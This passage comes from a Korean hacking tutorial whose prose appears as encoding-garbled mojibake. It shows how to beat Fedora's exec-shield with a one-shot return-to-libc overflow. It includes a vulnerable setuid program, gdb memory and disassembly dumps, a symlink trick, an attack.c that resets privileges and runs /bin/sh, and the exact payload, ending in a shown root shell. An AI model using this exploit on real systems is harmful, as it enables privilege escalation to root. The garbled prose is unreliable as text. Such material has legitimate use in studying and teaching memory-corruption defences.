°¡´ÉÇÏ´Ù. ±×·¯³ª ¸¸¾à Á¶°ÇÀÌ Çϳª¶óµµ ¸ÂÁö ¾Ê´Â´Ù¸é Overflow µµÁß¿¡ ¿¡·¯°¡ ¹ß»ýµÉ °ÍÀÌ´Ù.

(2) ½ÇÁ¦ ¸Þ¸ð¸® ¿µ¿ª »ó¿¡ Á¸ÀçÇÏ´Â °ªÀ̾î¾ß ÇÔ

¿¹¸¦ µé¾î 1, 2¹ø° ¸Å°³ º¯¼ö´Â ƯÁ¤ ¹®ÀÚ¿­ÀÌ ´ã°ÜÀÖ´Â ÁÖ¼Ò¸¦ °®°í ÀÖ¾î¾ß Çϴµ¥ ¸Å°³ º¯¼ö¿¡ ¾²ÀÏ °¢ ÁÖ¼ÒµéÀÌ °®°í ÀÖ´Â °ªÀÌ ÇÁ·Î¼¼½º ¸Þ¸ð¸® »ó¿¡ ·ÎµùµÈ ¿µ¿ªÀÌ ¾Æ´Ï¶ó¸é, Á¸ÀçÇÏÁö ¾Ê´Â ¸Þ¸ð¸® ¿µ¿ªÀ» ÂüÁ¶Çϱ⠶§¹®¿¡ Segment fault°¡ ÀϾ °ÍÀÌ´Ù.

(3) ¸Þ¸ð¸® ±ÇÇÑ¿¡ write°¡ Çã¿ëÀÌ µÇ¾î¾ß ÇÔ

execl()ÀÌ ¿ÏÀüÈ÷ ½ÇÇàµÇ±â À§Çؼ­´Â ¸¹Àº ¾î¼Àºí¸®¾î ¸í·ÉÀ» °ÅÃÄ¾ß ÇÑ´Ù. À̶§ ¿ì¸®°¡ ÀǵµÇÏÁö ¾ÊÀº °®°¡Áö ¿¬»êÀÌ ½ÇÇàµÉ ¼ö Àִµ¥, ±×Áß¿¡´Â ¿ì¸®°¡ ÁöÁ¤ÇÑ ¿µ¿ª¿¡ »õ·Î¿î °ªÀ» µ¤¾î¾º¿ì´Â ¿¬»êÀ» ÇÒ¶§µµ ÀÖ´Ù. À̶§ ¸¸¾à write°¡ Çã¿ëµÇÁö ¾Ê´Â ¸Þ¸ð¸® ¿µ¿ªÀ̶ó¸é Segment fault°¡ ÀϾ¸ç °ø°ÝÀº ½ÇÆÐÇÒ °ÍÀÌ´Ù.

(4) °íÁ¤µÈ ¿µ¿ªÀ̾î¾ß ÇÔ

¿ì¸®ÀÇ ¸ñÀûÀº Brute forceÀ» ÅëÇؼ­ ¸Þ¸ð¸®ÀÇ À§Ä¡¸¦ ã´Â °ÍÀÌ ¾Æ´Ï¶ó ÇÑ ¹ø¿¡ ¼º°øÇÏ±æ ¿øÇϹǷΠStack°ú °°ÀÌ RandomÇÏ°Ô MappingµÇ´Â Àå¼Ò´Â »ç¿ëÇÏÁö ¸»¾Æ¾ßÇÑ´Ù.

(5) ¸Þ¸ð¸® ÁÖ¼ÒÀÇ À§Ä¡°¡ 16mb ÀÌ»óÀ̾î¾ß ÇÔ

16mb ÀÌÇÏÀÏ °æ¿ì, °ø°Ý ½Ã ÁÖ¼Ò °ªÀ» ÀÔ·ÂÇÒ ¶§ ÃÖ»óÀ§ ¹ÙÀÌÆ®°¡ NULL byte°¡ Æ÷ÇԵDZ⠶§¹®¿¡ °ø°ÝÀÌ ½ÇÆÐÇÒ ¼ö ÀÖ´Ù. Áï, ÀÌ ¸»Àº ¸Å°³ º¯¼ö·Î Library ¿µ¿ªÀ» ÁöÁ¤ÇÒ ¼ö ¾ø´Ù´Â À̾߱âÀÌ´Ù.

À§ÀÇ 5°¡Áö Á¶°ÇÀº ºÐ¸íÈ÷ ½¬¿î Á¶°ÇÀº ¾Æ´Ï´Ù. ±×·¯³ª ÀÌ Á¶°ÇµéÀ» ¸¸Á·ÇÏ´Â ¿µ¿ªÀÌ Fedora¿¡¼­ Á¸ÀçÇϴµ¥ ¹Ù·Î PROGRAM DATA SEGMENT ¿µ¿ªÀÌ´Ù. ÀÌ ¿µ¿ªÀº ¸ÅÇεǴ À§Ä¡°¡ Ç×»ó °íÁ¤µÇ¾îÀÖ°í ¶ÇÇÑ ÇÁ·Î¼¼½º°¡ Àç½ÇÇàµÇ¾îµµ ÇÁ·Î¼¼½º ¸Þ¸ð¸® ¾È¿¡ ´ã±â°Ô µÉ °ªÀº °íÁ¤µÇ¾îÀÖ´Ù. ±×¸®°í read¿Í write°¡ Çã¿ëµÈ´Ù. execl() ÇÔ¼ö¿¡ »ç¿ëÇÒ¸¸ÇÑ ¸Å°³ º¯¼öµµ Á¸ÀçÇÏ°í ÀÖ´Ù. (DATA SEGMENT ¿µ¿ª¿¡ ´ã±ä °ªµéÀº ½Ã½ºÅÛ È¯°æ¿¡ µû¶ó¼­, ȤÀº ÇÁ·Î±×·¥¿¡ µû¶ó¼­ ´Þ¶óÁú ¼ö ÀÖ´Ù. ÇÊÀÚ´Â º»ÀÎÀÇ ¼­¹ö¿¡¼­¸¸ Å×½ºÆ®¸¦ Çغ¸¾Ò±â ¶§¹®¿¡ ´Ù¸¥ ¼­¹öÀÇ °á°ú´Â ¸ð¸£°Ú´Ù. ±×·¯³ª ´Ù¸¥ ¼­¹ö¿Í ÇÁ·Î±×·¥ÀÇ È¯°æ¿¡¼­µµ ¿ì¸®°¡ ÇÊ¿äÇÑ ¿µ¿ªÀÇ °ªµéÀ» ÃæºÐÈ÷ ãÀ»¼ö ÀÖÀ» °Å¶ó°í »ý°¢µÈ´Ù.)

°á·ÐÀûÀ¸·Î, ¿ì¸®´Â execl() ÇÔ¼ö¸¦ ½ÇÇàÇÒ ¶§ »ç¿ëÇÒ ¸Å°³ º¯¼ö¸¦ DATA SEGMENT ¿µ¿ª¿¡ Á¸ÀçÇÏ´Â °ªÀ¸·Î ÀÌ¿ëÇÒ °ÍÀÌ°í ÀÌ·¯ÇÑ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¸é ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ã±â À§Çؼ­ ÇÏ´Â brute force °úÁ¤ ¾øÀÌ °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ´Ù.

 

 

 

 

 

 

3. ½ÇÁ¦ °ø°Ý °úÁ¤

 

2. ¹æ¹ý·Ð¿¡¼­ ´Ù·é °ÍÀ» °£´ÜÇÏ°Ô ´Ù½Ã Á¤¸®ÇÏÀÚ¸é execl() ÇÔ¼ö¸¦ »ç¿ëÇϵÇ, ÇÔ¼öÀÇ ¸Å°³ º¯¼ö·Î ÀÌ¿ëÇÒ ¿µ¿ªÀº PROGRAM DATA SEGMENT ¸Þ¸ð¸® ¿µ¿ªÀÌ´Ù. ¿©±â¼­ Å×½ºÆ®ÇÏ°Ô µÉ Ãë¾à ÇÁ·Î±×·¥ÀÇ ¼Ò½º´Â ´ÙÀ½°ú °°´Ù. 4byte Å©±âÀÇ buffer¿¡ 12byte¸¦ µ¤¾î¾º¿ï ¼ö Àֱ⠶§¹®¿¡ ÇØÄ¿°¡ µ¤¾î¾º¿ï ¼ö ÀÖ´Â ¿µ¿ªÀº main() ÇÔ¼öÀÇ [RET] (return address) ±îÁöÀÌ´Ù.

 

-- vul.c --

#include <stdio.h>

int main(int argc, char *argv[])
{

char buf[4];
strncpy(buf, argv[1], 12);

}

 

Fedora¿¡¼­ÀÇ PROGRAM DATA SEGMENT ¸Þ¸ð¸® ¿µ¿ª¿¡ ´ëÇؼ­ ´Ù½Ã Çѹø ¾Ë¾Æº¸°Ú´Ù.

[beist@localhost bof]$ cat /proc/PROCESS-ID/maps
00415000-0042a000 r-xp 00000000 08:05 860870 /lib/ld-2.3.3.so
0042a000-0042b000 r--p 00014000 08:05 860870 /lib/ld-2.3.3.so
0042b000-0042c000 rw-p 00015000 08:05 860870 /lib/ld-2.3.3.so
00432000-00547000 r-xp 00000000 08:05 860888 /lib/tls/libc-2.3.3.so
00547000-00549000 r--p 00115000 08:05 860888 /lib/tls/libc-2.3.3.so
00549000-0054b000 rw-p 00117000 08:05 860888 /lib/tls/libc-2.3.3.so
0054b000-0054d000 rw-p 00000000 00:00 0
00da7000-00da8000 r-xp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:05 872228 /home/beist/bof/vul
08049000-0804a000 rw-p 00000000 08:05 872228 /home/beist/bof/vul
f70d8000-f70d9000 rw-p 00000000 00:00 0
fef54000-ff000000 rw-p fff94000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0

ÀÌ Áß¿¡¼­ PROGRAM DATA SEGMENT ¸Þ¸ð¸® ¿µ¿ªÀÇ ¹üÀ§´Â 0x8049000~0x804a000 ÀÌ´Ù. È®ÀÎÇÑ ¹Ù¿Í °°ÀÌ ÀÌ ¿µ¿ª¿¡¼­´Â read¿Í write°¡ Çã¿ëµÈ »óÅÂÀÌ´Ù. ¿ì¸®°¡ »ç¿ëÇÒ execl() ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ È®ÀÎÇغ¸°Ú´Ù.

(gdb) disassemble execl
Dump of assembler code for function execl:
0x004b8a00 <execl+0>: push %ebp
0x004b8a01 <execl+1>: mov %esp,%ebp
0x004b8a03 <execl+3>: lea 0x10(%ebp),%eax
0x004b8a06 <execl+6>: push %edi
0x004b8a07 <execl+7>: push %esi
0x004b8a08 <execl+8>: push %ebx
0x004b8a09 <execl+9>: sub $0x1030,%esp
0x004b8a0f <execl+15>: mov 0xc(%ebp),%ecx
0x004b8a12 <execl+18>: movl $0x400,0xfffffff0(%ebp)
0x004b8a19 <execl+25>: lea 0x1b(%esp),%esi
0x004b8a1d <execl+29>: and $0xfffffff0,%esi
0x004b8a20 <execl+32>: call 0x44690d <__i686.get_pc_thunk.bx>
0x004b8a25 <execl+37>: add $0x905d7,%ebx
0x004b8a2b <execl+43>: mov %ecx,(%esi)
0x004b8a2d <execl+45>: test %ecx,%ecx
...........
...........
...........

¿ì¸®°¡ »ç¿ëÇÒ ¿µ¿ªÀº 0x004b8a03 ¿µ¿ª(execl+3)ºÎÅÍÀÌ´Ù. ¾ÕÀÇ push %ebp¿Í mov %esp, %ebp °úÁ¤À» »ý·«ÇÏ´Â ÀÌÀ¯´Â ¸¸¾à ÀÌ ¿µ¿ªÀÇ ¸í·É¾îµéÀ» ½ÇÇà½ÃÅ°°Ô µÈ´Ù¸é ¿ì¸®°¡ ÀÔ·ÂÇÑ %ebpÀÇ °ªÀÌ ¼Õ»óµÇ±â ¶§¹®ÀÌ´Ù. ¿ì¸®ÀÇ ebp¸¦ º¸È£Çϱâ À§Çؼ­ ROCEDURE ÀÇ ÇÁ·Ñ·Î±×, Áï execl+0, +1 °úÁ¤À» °Ç³Ê¶Ù¾î¾ßÇÑ´Ù.

RETURN ADDRESS·Î ÁöÁ¤ÇÒ ÁÖ¼Ò´Â 0x004b8a03ÀÌ´Ù. ÀÌÁ¦ ¿ì¸®°¡ »ç¿ëÇÒ Àû´çÇÑ ¸Å°³ º¯¼öµéÀ» ã¾ÆºÁ¾ßÇÑ´Ù.

(gdb) x/20x 0x8049000
0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8049010: 0x00030002 0x00000001 0x080482c4 0x00000034
0x8049020: 0x00000784 0x00000000 0x00200034 0x00280007
0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034
0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005
(gdb)
0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114
0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004
0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000
0x8049080: 0x08048000 0x00000478 0x00000478 0x00000005
0x8049090: 0x00001000 0x00000001 0x00000478 0x08049478
............
............
............
0x8049500 <_DYNAMIC+116>: 0x00000008 0x00000013 0x00000008 0x6ffffffe
0x8049510 <_DYNAMIC+132>: 0x08048244 0x6fffffff 0x00000001 0x6ffffff0
0x8049520 <_DYNAMIC+148>: 0x08048236 0x00000000 0x00000000 0x00000000
0x8049530 <_DYNAMIC+164>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049540 <_DYNAMIC+180>: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
0x8049550 <_DYNAMIC+196>: 0x00000000 0x00000000 0x0804948c 0x0042b4d0
0x8049560 <_GLOBAL_OFFSET_TABLE_+8>: 0x00420830 0x004469f0 0x080482ba 0x00000000
0x8049570 <__dso_handle>: 0x00000000 0x08049484 0x00000000 0x00000000
0x8049580: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049590: 0x00000000 0x00000000 0x00000000 0x00000000

¸Å°³ º¯¼ö¿¡ ¾²À̱â Àû´çÇÑ ¸Þ¸ð¸® ÁÖ¼ÒÀÌ´Ù. 0x8049564, 0x8049568, 0x804956c ¿µ¿ªÀÌ ¹Ù·Î ±× ¿µ¿ªÀÌ µÇ¸ç, °¢°¢ execl() ÇÔ¼ö È£Ã⠽à ù¹ø°, µÎ¹ø°, ¼¼¹ø° ¸Å°³ º¯¼ö·Î µé¾î°¡°Ô µÈ´Ù. Áï,

execl(0x8049564, 0x8049568, 0x804956c,

°¡ µÈ´Ù. (¿©±â¼­´Â ¸¶Áö¸· NULLÀ» »ý·«½ÃÄ×´Ù.) °¢ ÁÖ¼Ò¿¡ ´ã±ä ³»¿ëÀ» È®ÀÎÇغ¸°Ú´Ù.

 

- 0x8049564 (0x4469f0) -

(gdb) x/7x 0x4469f0
0x4469f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b
0x446a00 <__libc_start_main+16>: 0xffffff09 0x25f8c381 0x7d8b0010

0x4469f0¿¡ ´ã±ä µ¥ÀÌÅÍÀÇ ±æÀÌ´Â 25¹ÙÀÌÆ®°¡ µÈ´Ù. (ÀÌ°÷¿¡¼­ »ç¿ëµÈ __libc_start_mainÀº Ưº°ÇÑ Àǹ̰¡ ÀÖ´Â °ÍÀÌ ¾Æ´Ï¶ó, ±×Àú ÀÌ ¿µ¿ª¿¡ ¿ì¸®°¡ ¾µ¸¸ÇÑ Àû´çÇÑ °ªÀÌ Æ÷ÇԵǾî ÀÖ¾úÀ» »ÓÀÌ´Ù.)

- 0x8049568 (0x80482ba) -

(gdb) x/x 0x80482ba
0x80482ba <_init+62>: 0x00000868

ÀÌ ¿µ¿ªÀº ¿ì¸®°¡ ½ÇÇàÇÒ (link ÆÄÀÏ) ÇÁ·Î¼¼½ºÀÇ argv[0]·Î µé¾î°¥ °ªÀ¸·Î, Å©°Ô ½Å°æ¾²Áö ¾Ê¾Æµµ µÈ´Ù. filename°ú argv[0]Àº ºñ½ÁÇغ¸ÀÌÁö¸¸ ´Ù¸£´Ù. argv[0]Àº Çü½ÄÀûÀÎ °ÍÀÌ¸ç ½ÇÇàµÇ´Â ÇÁ·Î¼¼½ºÀÇ ½ÇÁ¦ ÇÁ·Î±×·¥ À̸§Àº ½ºÅÃÀÇ ¸¶Áö¸· ºÎºÐ Âë¿¡ À§Ä¡ÇØÀÖ´Ù.

- 0x804956c (0x00000000) -

ÀÌ ¿µ¿ªÀº NULLÀÌ´Ù.

 

0x4469f0¿¡ µé¾îÀÖ´Â 25¹ÙÀÌÆ® ±æÀÌÀÇ µ¥ÀÌÅÍ´Â execl() ÇÔ¼ö È£Ãâ½Ã¿¡ »ç¿ëÇÒ ½ÇÁ¦ ÆÄÀÏ À̸§ÀÌ´Ù. ±×·¸±â ¶§¹®¿¡ ÀÌ µ¥ÀÌÅÍ °ªÀ¸·Î ½Éº¼¸¯ ¸µÅ©¸¦ °É¾îµÎ¾î¾ß ÇÑ´Ù. (½Éº¼¸¯ ¸µÅ© ÆÄÀÏÀ» »ý¼ºÇÏÁö ¾Ê°í ÀÌ·¯ÇÑ À̸§À» °®´Â °ø°Ý ÆÄÀÏÀ» Á÷Á¢ »ý¼ºÇصµ »ó°üÀº ¾ø´Ù. ±×·¸Áö¸¸ ¿©±â¿¡¼­´Â ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ» ¼Ò°³ÇÏ°Ú´Ù.) ¸ÕÀú ½Éº¼¸¯ ÆÄÀÏ·Î ¿¬°áµÉ °ø°Ý ÆÄÀÏÀ» ÀÛ¼ºÇؾßÇÑ´Ù. ÀÌ °ø°Ý ÆÄÀÏÀº setreuid µî°ú °°ÀÌ ÇÁ·Î¼¼½ºÀÇ ÇöÀç ±ÇÇÑÀ» Àç¼³Á¤ÇÏ°í SHELLÀ» ½ÇÇàÇÏ´Â ±â´ÉÀ» ¼öÇàÇÑ´Ù.

 

-- attack.c --

main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
}

 

execl()¿¡¼­ ½ÇÇàÇÏ´Â ÆÄÀÏÀº À§ °ø°Ý ÆÄÀÏÀ» ½Éº¼¸¯ ¸µÅ©ÇÑ´Ù.

[beist@localhost bof]$ ln -s /home/beist/bof/attack "`perl -e 'print \
> "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", \
> "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"

vul ÇÁ·Î±×·¥À» °ø°Ý ½Ã¿¡ ÀÎÀÚ·Î ³Ö´Â ÄÚµå´Â ´ÙÀ½°ú °°´Ù. '[', ']' ·Î ¹­ÀÎ °¢ ´ÜÀ§´Â 4¹ÙÀÌÆ®ÀÌ´Ù.

[garbage] - [ù ¹ø° ¸Å°³ º¯¼ö À§Ä¡] - [execl + 3]

¾Õ¼­ ¾Ë¾Æº» °Íó·³ ù ¹ø° ¸Å°³ º¯¼ö·Î »ç¿ëÇÒ °ªÀÇ À§Ä¡´Â 0x8049564 ÀÌ´Ù. ±×·¯³ª °ø°Ý ½Ã¿¡ ÀÌ À§Ä¡ÀÇ °ªÀ» ±×´ë·Î ÀÔ·ÂÇؼ­´Â ¼º°øÇÒ ¼ö ¾ø´Ù. ¿Ö³ÄÇϸé execl() ÇÔ¼ö´Â execve() ÇÔ¼ö¸¦ ³»ºÎÀûÀ¸·Î È£ÃâÇÏ¿© execve system callÀ» ó¸®Çϴµ¥, execve() ÇÔ¼ö¿¡¼­ ÆÄÀÏ À̸§¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ °¡Á®¿Ã¶§ ebp+8À» ÇÑ À§Ä¡¿¡¼­ ¶§¹®ÀÌ´Ù.

execve system call ÁøÇà ½Ã¿¡ »ç¿ëµÇ´Â °¢ ÁÖ¿ä ·¹Áö½ºÅ͵éÀÌ´Ù.

eax = system call number
ebx = filename pointer
ecx = argument pointer
edx = environment pointe
r

Âü°í·Î execl() -> execve()·Î ³Ñ¾î°¬À»¶§ execve() ÇÔ¼ö ³»¿¡¼­ Frame PointerÀÇ °ªÀº, Áï ebp´Â ¿ì¸®°¡ ÀÔ·ÂÇÑ [ù ¹ø° ¸Å°³ º¯¼ö À§Ä¡]·Î µÈ´Ù. ±×¸®°í ¿©±â¼­ +8 À§Ä¡¿¡ 0x004469f0 °ªÀÌ ³õÀδÙ. ±×·¸±â ¶§¹®¿¡ ½ÇÁ¦·Î °ø°ÝÇÒ ¶§´Â [ù ¹ø° ¸Å°³ º¯¼ö À§Ä¡]¿¡¼­ -8À» ÇÑ °ªÀ¸·Î ³Ö¾î¾ß ÇÑ´Ù. ±×·¡¾ß ebp+8À» ÇÏ¿´À» ¶§ ¿ì¸®°¡ ¿øÇÏ´Â °ªÀ¸·Î ¸ÂÃçÁö±â ¶§¹®ÀÌ´Ù. Á¤¸®¸¦ ÇÏÀÚ¸é 0x8049564 - 8 = 0x804955c °ªÀ» [ù ¹ø° ¸Å°³ º¯¼ö À§Ä¡]·Î ³Ö¾î¾ß ÇÑ´Ù. ÀÌ·¯ÇÑ »óȲÀ» Á¾ÇÕÀûÀ¸·Î Á¤¸®ÇÏ¿© ´Ù½Ã Çѹø °ø°Ý ½Ã ÀÎÀÚ·Î ³Ö´Â °ªÀ» ¾Ë¾Æº¸°Ú´Ù.

[aaaa] - [0x804955c] - [0x004b8a03]

À§¿Í °°Àº °ø°Ý °ªÀ¸·Î, µð¹ö±ë °úÁ¤À» °ÅÃļ­ ½ÇÁ¦·Î execve() ÇÔ¼ö¿¡¼­ÀÇ °ªÀ» °£´ÜÇÏ°Ô È®ÀÎÇغ¸°Ú´Ù.

[beist@localhost bof]$ gdb vul
(gdb) b main
Breakpoint 1 at 0x804837a
(gdb) r `perl -e 'print "aaaa\x5c\x95\x04\x08\x03\x8a\x4b"'`
Starting program: /home/beist/bof/vul `perl -e 'print "aaaa\x5c\x95\x04\x08\x03\x8a\x4b"'`
Breakpoint 1, 0x0804837a in main ()
(gdb) disassemble execve
Dump of assembler code for function execve:
0x004b87a0 <execve+0>: push %ebp
0x004b87a1 <execve+1>: mov %esp,%ebp
0x004b87a3 <execve+3>: sub $0x8,%esp
0x004b87a6 <execve+6>: mov %ebx,(%esp)
0x004b87a9 <execve+9>: mov 0xc(%ebp),%ecx
0x004b87ac <execve+12>: call 0x44690d <__i686.get_pc_thunk.bx>
0x004b87b1 <execve+17>: add $0x9084b,%ebx
0x004b87b7 <execve+23>: mov %edi,0x4(%esp)
0x004b87bb <execve+27>: mov 0x10(%ebp),%edx
0x004b87be <execve+30>: mov 0x8(%ebp),%edi
0x004b87c1 <execve+33>: xchg %ebx,%edi
0x004b87c3 <execve+35>: mov $0xb,%eax
0x004b87c8 <execve+40>: call *%gs:0x10
0x004b87cf <execve+47>: xchg %edi,%ebx
0x004b87d1 <execve+49>: cmp $0xfffff000,%eax
0x004b87d6 <execve+54>: mov %eax,%edx
0x004b87d8 <execve+56>: ja 0x4b87e7 <execve+71>
0x004b87da <execve+58>: mov (%esp),%ebx
0x004b87dd <execve+61>: mov %edx,%eax
0x004b87df <execve+63>: mov 0x4(%esp),%edi
0x004b87e3 <execve+67>: mov %ebp,%esp
0x004b87e5 <execve+69>: pop %ebp
0x004b87e6 <execve+70>: ret
0x004b87e7 <execve+71>: mov 0xffffff3c(%ebx),%ecx
0x004b87ed <execve+77>: neg %edx
0x004b87ef <execve+79>: mov %edx,%gs:(%ecx)
0x004b87f2 <execve+82>: mov $0xffffffff,%edx
0x004b87f7 <execve+87>: jmp 0x4b87da <execve+58>
0x004b87f9 <execve+89>: nop
0x004b87fa <execve+90>: nop
0x004b87fb <execve+91>: nop
0x004b87fc <execve+92>: nop
0x004b87fd <execve+93>: nop
0x004b87fe <execve+94>: nop
0x004b87ff <execve+95>: nop
End of assembler dump.
(gdb) b *0x4b87a3
Breakpoint 2 at 0x4b87a3
(gdb) c
Continuing. Breakpoint 2, 0x004b87a3 in execve () from /lib/tls/libc.so.6
(gdb) x/x $ebp
0xfefb9ecc: 0x0804955c
(gdb) x/x $ebp+8
0xfefb9ed4: 0x004469f0
(gdb)

ÀÌÁ¦ ¸¶Áö¸·À¸·Î ½ÇÁ¦ °ø°ÝÀ» ¼öÇàÇÏ¿© º¸°Ú´Ù.

[beist@localhost bof]$ ls vul
-rwsr-sr-x 1 root root 4730 vul
[beist@localhost bof]$ id
uid=500(beist) gid=500(beist) groups=500(beist)
[beist@localhost bof]$ ./vul `perl -e 'print "aaaa\x5c\x95\x04\x08\x03\x8a\x4b"'`
sh-2.05b# id
uid=0(root) gid=0(root) groups=500(beist)

¼º°øÀûÀ¸·Î root ±ÇÇÑÀÇ SHELLÀ» ¾ò¾î³ÂÀ½À» È®ÀÎÇÒ ¼ö ÀÖ´Ù.

 

 

 

 

 

4. ¸¶Ä¡´Â ¸»

 

exec-shieldÀÇ Àû¿ëÀ¸·Î ÇØÅ·¿¡ ´ëÇÑ ¹æ¾î°¡ °ß°íÇØÁø Fedora ½Ã½ºÅÛ¿¡¼­ Overflow¸¦ ÇÑ ¹ø¿¡ ¼º°øÇÏ´Â ¹æ¹ýÀ» ¾Ë¾Æº¸¾Ò´Ù. ÀÌ ¹®¼­¿¡¼­ ¼³¸íÇÑ ¹æ¹ýÀº ÇØÄ¿ÀÇ »óȲÀÌ Local¿¡ Á¢±ÙÇÒ ¼ö ÀÖÀ» ¶§¿¡¸¸ ÇÑÁ¤µÈ´Ù. ±×·¯³ª Remote¿¡¼­ ¼º°øÇÏ´Â ¹æ¹ýµµ ±×¸® ¾î·Á¿î ÀÏÀº ¾Æ´Ò °Í °°´Ù.

ÀϹÝÀûÀ¸·Î ÇØÄ¿ ÀÔÀå¿¡¼­ º¸¾ÒÀ» ¶§ Overflow³ª Formatstring °°Àº ½Ã½ºÅÛ¿¡ ¹Î°¨ÇÑ °ø°ÝÀº Localº¸´Ù´Â Remote ȯ°æÀÌ ´õ ±î´Ù·Î¿î °ÍÀÌ »ç½ÇÀÌ´Ù. ¿Ö³ÄÇÏ¸é °ø°Ý¿¡ ¼º°øÇϱâ À§Çؼ­´Â ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ÂüÁ¶ÇؾßÇÒ ÀÏÀÌ ¸¹Àºµ¥ Remote ȯ°æ¿¡¼­´Â ¸Þ¸ð¸®ÀÇ À§Ä¡¸¦ ¾Ë ¼ö ¾ø±â ¶§¹®ÀÌ´Ù.
±×·¸Áö¸¸ Fedoraó·³ º¸¾È ¼Ö·ç¼ÇÀÌ Àû¿ëµÈ »óȲÀº °ø°Ý¿¡ »ç¿ëÇÒ ¼ö ÀÖ´Â ±â¹ýÀÌ ´Ù¸¥ Linux¿¡ ºñÇؼ­ ÇÑÁ¤µÇ¾î Àִµ¥, ÀÌ ¹®¼­¿¡¼­ »ç¿ëÇÑ ¹æ¹ýÀº ¹Ýµå½Ã Local¿¡¸¸ À¯¸®ÇÑ ÀÛ¿ëÀ» ÇÏ´Â °ÍÀÌ ¾Æ´Ï´Ù. ÇÁ·Î¼¼½º ½ÇÇàÀ» °¡´ÉÇÏ°Ô ÇÏ´Â ¸ðµç Library ÇÔ¼ö´Â execve system callÀ» °ÅÄ£´Ù. Áï, execl()À» »ç¿ëÇÏÁö ¾Ê´õ¶óµµ ´Ù¸¥ Á¾·ùÀÇ Library ÇÔ¼öµéÀ» ÀÌ¿ëÇؼ­ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų¼öµµ ÀÖ´Ù. system() ÇÔ¼ö¸¦ ¿¹·Î µé ¼ö ÀÖ°Ú´Ù. system() ÇÔ¼ö´Â ¿ÀÈ÷·Á Local¿¡¼­ »ç¿ëÇÏ´Â °ÍÀÌ Remoteº¸´Ù ±î´Ù·Ó´Ù. ±× ÀÌÀ¯´Â system ÇÔ¼ö´Â ³»ºÎÀûÀ¸·Î /bin/shÀ» ÀÌ¿ëÇÏ¿© "-c" ¿É¼ÇÀ» »ç¿ëÇÑ ÈÄ »ç¿ëÀÚÀÇ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â ¹æ½ÄÀ¸·Î ÀÛµ¿Çϴµ¥, ÀÌ ¶§ /bin/sh¿¡¼­´Â ½ÇÇà½Ãų ÇØ´ç ÇÁ·Î¼¼½º°¡ Set-UID¸ðµå¶ó ÇÏ´õ¶óµµ »ç¿ëÀÚÀÇ ±ÇÇÑÀ» ´Ù½Ã ¿ø »óÅ·Πµ¹·Á³õ°í ½ÇÇàÇϱ⠶§¹®¿¡ root¸¦ ¾ò±â À§Çá¼­´Â setuid ÇÔ¼ö±ºµéÀ» È£ÃâÇÏ¿© ±ÇÇÑÀ» Àç¼³Á¤Çؾ߸¸ ÇÑ´Ù. Áï, system() ÇÔ¼ö ÀÌ¿Ü¿¡ ÃÖ¼Ò 1°³ ÀÌ»óÀÇ ÇÔ¼ö¸¦ ´õ È£ÃâÇÏ¿©¾ß¸¸ system() ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖ´Ù´Â À̾߱âÀÌ´Ù. ±×·±µ¥ FedoraÀÇ °æ¿ì¿¡´Â Library MappingÀÌ 16mb ¹Ì¸¸¿¡ À§Ä¡Çϱ⠶§¹®¿¡, ´Ù½Ã ¸»Çؼ­ NULL byte ¶§¹®¿¡ ¿©·¯ °³ÀÇ ÇÔ¼ö¸¦ µ¿½Ã¿¡ ÀÌ¿ëÇÏ´Â °ø°ÝÀÌ Èûµé´Ù.

±×·¯³ª ÀÌ °æ¿ì´Â LocalÀÏ °æ¿ì¿¡¸¸ ÇØ´çµÇ´Â À̾߱âÀÌ°í Ãë¾à ÇÁ·Î±×·¥À» Remote¿¡¼­ °ø°ÝÇÒ ¶§´Â ÇØ´çµÇÁö ¾Ê´Â´Ù. LocalÀÏ °æ¿ì¿¡´Â ÀϹÝÀûÀ¸·Î ÇØÄ¿ÀÇ ÇöÀç ±ÇÇÑ°ú ȹµæÇÏ°íÀÚ ÇÏ´Â ±ÇÇÑÀÌ ´Ù¸£´Ù. Áï, Ãë¾àÁ¡À» °®´Â ÇÁ·Î±×·¥¿¡ ÇÒ´çµÈ Set-UID ±ÇÇÑ°ú´Â ´Ù¸£´Ù´Â À̾߱âÀÌ´Ù. ±×·¸Áö¸¸ RemoteÀÏ °æ¿ì¿¡´Â ±×·± °æ¿ì°¡ ¾øÀÌ, ¹Ù·Î ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ´Â ÇÁ·Î¼¼½ºÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù. ¸Å°³ º¯¼ö·Î »ç¿ëÇÒ ÀÎÀÚ´Â "/bin/sh"³ª ±âŸ ºñ½ÁÇÑ ±â´ÉÀ» ¼öÇàÇÏ´Â Á¤µµ¸¦ ÁöÁ¤ÇÏ¸é µÉ°Å¶ó »ý°¢ÇÑ´Ù. (¹°·Ð, ¿©·¯ °¡Áö ¿¹¿Ü »óȲÀÌ ÀÖÀ» ¼ö ÀÖ´Ù. À§¿¡¼­µµ ´Ù·ç¾ú¾úÁö¸¸, ÇØÄ¿°¡ °ø°ÝÀ» ÁøÇàÇÒ ¶§´Â 